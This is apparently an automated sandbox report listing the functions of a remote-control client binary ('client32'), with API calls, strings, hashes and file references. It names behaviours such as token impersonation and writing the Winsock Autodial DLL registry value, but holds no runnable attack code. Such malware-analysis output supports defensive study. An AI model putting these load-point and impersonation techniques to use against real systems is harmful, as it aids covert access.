Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProcessWindow$FindOpenThread
String ID: Error. NULL hToken$Progman
API String ID: 3432422346-976623215
Opcode ID: 27d9adcea033cca8a9313adc041a3d51743ac848c4f94076432c31519aeea56b
Instruction ID: a798542badd3240e5ba587e482d1b03e6f16632b9767cf240999fd85d1b1ba7e
Opcode Fuzzy Hash: 27d9adcea033cca8a9313adc041a3d51743ac848c4f94076432c31519aeea56b
Instruction Fuzzy Hash: 8A11D676E4021C9BD714CFF4C985BEDF7F8DB4C219F0041A9E916A7644DB71A900CBA0

Function 11028360 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 11028290: LoadLibraryA.KERNEL32(Kernel32.dll,AB86ACF8,?,00000000), ref: 110282C1
Part of subcall function 11028290: GetProcAddress.KERNEL32(00000000,GetProductInfo), ref: 11028308
Part of subcall function 11028290: FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,1117FB78), ref: 11028334

ImpersonateLoggedOnUser.ADVAPI32(00000000), ref: 110283A3
GetUserNameA.ADVAPI32(?,?), ref: 110283BC
RevertToSelf.ADVAPI32 ref: 110283DC
CloseHandle.KERNEL32(00000000), ref: 110283E3

Strings

SRCShell, xrefs: 110283C9
@, xrefs: 110283B5
IsMultiPointShell hUser=%p, user=%s, sesh=%d, xrefs: 110283F4

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryUser$AddressCloseFreeHandleImpersonateLoadLoggedNameProcRevertSelf
String ID: @$IsMultiPointShell hUser=%p, user=%s, sesh=%d$SRCShell
API String ID: 2421214410-2753544478
Opcode ID: 4218291dc0949de53468530136ce9ee69e83e14b3ed088a51870e52bbe8e6e97
Instruction ID: a3b5864e1cd91ce2ca378080a24cbbe269bd62ca1436d7be2fb329270c9e10de
Opcode Fuzzy Hash: 4218291dc0949de53468530136ce9ee69e83e14b3ed088a51870e52bbe8e6e97
Instruction Fuzzy Hash: 8D110A3AD011299FDB00DFF4DD84AEEF7ECAF05309B45017AE91593240DB30A609C795

Function 11003310 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF9), ref: 1100331D
GetSubMenu.USER32(00000000,00000000), ref: 11003343
GetMenuItemCount.USER32(00000000), ref: 11003367
DestroyMenu.USER32(00000000), ref: 11003379

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

hMenu, xrefs: 11003333
..\CTL32\annotate.cpp, xrefs: 1100332E, 11003354
hSub, xrefs: 11003359

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$CountDestroyErrorExitItemLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 4241058051-934300333
Opcode ID: 85d4a40678ea7b6d13a0383658e2681328b2af046e894752399e51aa99d6900d
Instruction ID: a78e3c2f88e64c1b086a81e8c9a2b46f663d882bee818e15e56a3ec0b04889ae
Opcode Fuzzy Hash: 85d4a40678ea7b6d13a0383658e2681328b2af046e894752399e51aa99d6900d
Instruction Fuzzy Hash: AEF02E36E9093A73D25212B72C4AFCFF6584F456ADB500031F922B5645EE14A40053A9

Function 111442D0 Relevance: 12.1, APIs: 8, Instructions: 85COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000000,?,75BF8400), ref: 111442F0
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11144303
GetFileVersionInfoSizeA.VERSION(?,?), ref: 11144323
_malloc.LIBCMT ref: 1114432F

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

GetFileVersionInfoA.VERSION(?,?,00000000,00000000,?), ref: 1114434D
_free.LIBCMT ref: 1114435D

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

VerQueryValueA.VERSION(?,1119A5BC,?,?,?,?,00000000,00000000,?), ref: 1114438E
_free.LIBCMT ref: 111443B1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$HeapInfoModuleVersion_free$AllocateErrorFreeHandleLastNameQuerySizeValue_malloc
String ID:
API String ID: 1929493397-0
Opcode ID: edd211c50a3777fb5ac3ae8ca10e20c72d94fd26d850039a83edcecaba31b236
Instruction ID: 533d070b008c48d0019e4fafecd2d90481fbd6e663e37e79b598d21e300b118d
Opcode Fuzzy Hash: edd211c50a3777fb5ac3ae8ca10e20c72d94fd26d850039a83edcecaba31b236
Instruction Fuzzy Hash: 242161769001299BDB14DF64DC44EDEF3BCEF58714F004199E94997200DAB1AE94CF90

Function 1101B530 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 204libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 110DEB60: EnterCriticalSection.KERNEL32(111EE0A4,11018BE8,AB86ACF8,?,?,?,111CD988,11187878,000000FF,?,1101ABB2), ref: 110DEB61

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 1101B776
__CxxThrowException@8.LIBCMT ref: 1101B791
LoadLibraryA.KERNEL32(NSSecurity.dll,00000000,111CD988), ref: 1101B7AE

Part of subcall function 11008DD0: std::_Xinvalid_argument.LIBCPMT ref: 11008DEA

Strings

NSSecurity.dll, xrefs: 1101B7A3
NsAppSystem Info : Control Channel Sending Command : %d, xrefs: 1101B6E9
NsAppSystem Info : Control Channel Command Sent : %d, xrefs: 1101B70A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalEnterException@8LibraryLoadSectionThrowXinvalid_argument_malloc_memsetstd::_std::exception::exceptionwsprintf
String ID: NSSecurity.dll$NsAppSystem Info : Control Channel Command Sent : %d$NsAppSystem Info : Control Channel Sending Command : %d
API String ID: 3515807602-1044166025
Opcode ID: 516f949d8a8a1383b1a24131f20d62a9ee5b2450b9431babf89fa67383d09024
Instruction ID: 97a0dec6d0d64d3c3877ebf05293913b11e378911f3366e288316342895a3808
Opcode Fuzzy Hash: 516f949d8a8a1383b1a24131f20d62a9ee5b2450b9431babf89fa67383d09024
Instruction Fuzzy Hash: 72718FB5D00309DFEB10CFA4C844BDDFBB4AF19318F244569E915AB381DB79AA44CB91

Function 1105035C Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 187windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 110505B5
PostMessageA.USER32(00000000,00000010,00000000,00000000), ref: 110505C6

Strings

10.21.0.0, xrefs: 110504CA
Disconnect(%p), closing player, xrefs: 11050448
ReconnectDelay, xrefs: 110504A5
Client, xrefs: 110504AA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePostWindow
String ID: 10.21.0.0$Client$Disconnect(%p), closing player$ReconnectDelay
API String ID: 3618638489-3222940297
Opcode ID: 56d0403b3980d3986053706dd81e3e4ace557baac3e2369d8f785017eea65476
Instruction ID: af3b4c147a4513b3c39047db549f56ac60d38a2ab96126e405b75e909720095d
Opcode Fuzzy Hash: 56d0403b3980d3986053706dd81e3e4ace557baac3e2369d8f785017eea65476
Instruction Fuzzy Hash: 8D61A479A022525BEB95DFA0CCC4FBAB7A8AF4570CF1441F8E9094F299CB75B440CB61

Function 110040F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91windowCOMMON

Download Yara Rule

APIs

EnableWindow.USER32(00000000,00000000), ref: 11004130
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 110041A7
InvalidateRect.USER32(00000000,00000000,00000000), ref: 110041D2
EnableWindow.USER32(00000000,00000001), ref: 110041FE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11004112, 110041B8, 110041E6
m_hWnd, xrefs: 11004117, 110041BD, 110041EB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnableWindow$ErrorExitInvalidateLastMessageProcessRectwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2354609054-2830328467
Opcode ID: bc77aff694d436de89820df397cf97f2537acd50e9dcce0a0b494a4fafc6c394
Instruction ID: c13629e3a69401f36b1837560bfd6e90eee75297420fac0ab380ec534ade091b
Opcode Fuzzy Hash: bc77aff694d436de89820df397cf97f2537acd50e9dcce0a0b494a4fafc6c394
Instruction Fuzzy Hash: AC318BB5A40309ABE720DF55CC86F9AF3E4FB4C708F108569E91AA7680D7B4B8008B94

Function 11064340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 88registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 1106436E
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Services\Winsock\Autodial,00000000,00000000,00000000), ref: 11064396
RegSetValueExA.ADVAPI32(00000000,AutodialDllName32,00000000,?,111EE741,00000010), ref: 11064480
RegCloseKey.ADVAPI32(00000000), ref: 1106448D

Part of subcall function 11143BD0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,75BF8400,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

Strings

System\CurrentControlSet\Services\Winsock\Autodial, xrefs: 1106438C
AutodialDllName32, xrefs: 110643D8, 1106443E, 1106447A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQueryVersion
String ID: AutodialDllName32$System\CurrentControlSet\Services\Winsock\Autodial
API String ID: 387276457-2283657482
Opcode ID: aa4cde0aa82c8723e533341a8807f67dc9b88c45f56a7f544780993e07b50a5c
Instruction ID: 375109a592318106ba114329bda040cb1860311447808832b59f0ce0bf7a2c6e
Opcode Fuzzy Hash: aa4cde0aa82c8723e533341a8807f67dc9b88c45f56a7f544780993e07b50a5c
Instruction Fuzzy Hash: EA31A374E516689FEB61CF90CC89FAAF7BDFB05308F0040D8E55896145EB705945CF51

Function 1103D0E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80synchronizationwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 111100D0: SetEvent.KERNEL32(00000000,?,1102CB9F), ref: 111100F4

Part of subcall function 11110920: EnterCriticalSection.KERNEL32(00000010,00000000,74DF23A0,1100BF7B), ref: 11110928
Part of subcall function 11110920: LeaveCriticalSection.KERNEL32(00000010), ref: 11110935

WaitForSingleObject.KERNEL32(?,00001388), ref: 1103D13A
SetPriorityClass.KERNEL32(?,?), ref: 1103D167
IsWindow.USER32(?), ref: 1103D17E
SendMessageA.USER32(?,0000004A,00040270,00000492), ref: 1103D1B8
_free.LIBCMT ref: 1103D1BF

Strings

Show16, xrefs: 1103D0E9

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$ClassEnterEventLeaveMessageObjectPrioritySendSingleWaitWindow_free
String ID: Show16
API String ID: 625148989-2844191965
Opcode ID: 3c8172704bdceca68c72fbf0a9a51fac22612fd7412045f5de257e3282e9e7b5
Instruction ID: 63bdf3f47677d5a3c66ccb25ed14d3d2c42581b640399fe0720dd9fbd5d3b219
Opcode Fuzzy Hash: 3c8172704bdceca68c72fbf0a9a51fac22612fd7412045f5de257e3282e9e7b5
Instruction Fuzzy Hash: 3B3182B5E10346AFD715DFA4C8849AFF7F9BB84309F40496DE56A97244DB70BA00CB81

Function 110ED020 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63COMMON

Download Yara Rule

APIs

IsWindow.USER32(0000070B), ref: 110ED02A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

LoadCursorA.USER32(00000000,00007F00), ref: 110ED0B1
SetCursor.USER32(00000000), ref: 110ED0B8

Strings

IsWindow(hRich), xrefs: 110ED03E
..\CTL32\NSWin32.cpp, xrefs: 110ED039, 110ED057
pEnLink!=0, xrefs: 110ED05C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Cursor$ErrorExitLastLoadMessageProcessWindowwsprintf
String ID: ..\CTL32\NSWin32.cpp$IsWindow(hRich)$pEnLink!=0
API String ID: 2735369351-763374134
Opcode ID: c71bab5a9d15cfbc5a16eb7372e080607997f0f4ce03b78e9d73ef1e06305408
Instruction ID: 1517011758136c5ff836e71d92dda8c4c85f8f681a38b9b7789002e2c31f8d4e
Opcode Fuzzy Hash: c71bab5a9d15cfbc5a16eb7372e080607997f0f4ce03b78e9d73ef1e06305408
Instruction Fuzzy Hash: 2F01497AE412253BD511A5537C0AFDFBB1CEF412ADF040031FD1996201F66AB11583E6

Function 11002070 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMAnnotate), ref: 11002094
GetSystemMetrics.USER32(0000004E), ref: 110020EA
GetSystemMetrics.USER32(0000004F), ref: 110020F4
GetSystemMetrics.USER32(00000000), ref: 11002109
GetSystemMetrics.USER32(00000001), ref: 11002113

Strings

NSMAnnotate, xrefs: 11002083

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem$AtomGlobal
String ID: NSMAnnotate
API String ID: 1775358667-1587977882
Opcode ID: 0ab50aaa82936b499c722e1eccc7d7de1002793e4e15bfd85b105029e2cc8b0f
Instruction ID: c7367c546af50a4de639236848e5e5652b6277b92aa1928d07c4543d278ba0f2
Opcode Fuzzy Hash: 0ab50aaa82936b499c722e1eccc7d7de1002793e4e15bfd85b105029e2cc8b0f
Instruction Fuzzy Hash: 2021AFB0901B549FD321DF6A8984696FBE8FFA4754F00491FD2AA87A20D7B5A440CF44

Function 1100B340 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1100B350
